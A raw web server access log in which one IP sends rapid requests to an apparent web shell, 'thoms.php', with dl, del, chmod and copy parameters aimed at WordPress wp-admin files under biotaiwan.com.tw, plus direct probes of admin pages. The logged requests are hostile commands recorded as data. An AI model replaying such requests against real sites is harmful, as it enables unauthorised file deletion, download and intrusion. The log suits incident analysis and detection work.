45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?dl=options-head.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?chmod=edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /biotaiwan.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?chmod=freedoms.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?del=install-helper.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmy-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmy-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?chmod=menu.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /biotaiwan.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?del=options-writing.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?del=ms-themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /biotaiwan.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:11 -0400] "GET /thoms.php?del=site-health.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsite-health.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsite-health.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?dl=upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?del=options-general.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-general.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-general.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /biotaiwan.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?chmod=link-add.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?chmod=nav-menus.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?chmod=site-health.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?chmod=admin-post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /biotaiwan.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /biotaiwan.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:12 -0400] "GET /thoms.php?chmod=async-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?dl=edit-comments.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?del=media-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?del=theme-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?chmod=credits.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?del=update-core.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /biotaiwan.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?del=ms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?chmod=setup-config.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /thoms.php?dl=setup-config.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?dl=term.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=term.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /biotaiwan.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:13 -0400] "GET /biotaiwan.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /biotaiwan.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /biotaiwan.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcustom-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcustom-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?dl=ms-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /biotaiwan.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fthemes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fthemes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?dl=options-permalink.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:14 -0400] "GET /thoms.php?dl=async-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?chmod=media-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /biotaiwan.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /biotaiwan.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?chmod=users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?del=my-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /biotaiwan.com.tw/wp-admin/images/ HTTP/1.1" 200 3234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /biotaiwan.com.tw/wp-admin/js/ HTTP/1.1" 200 3708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
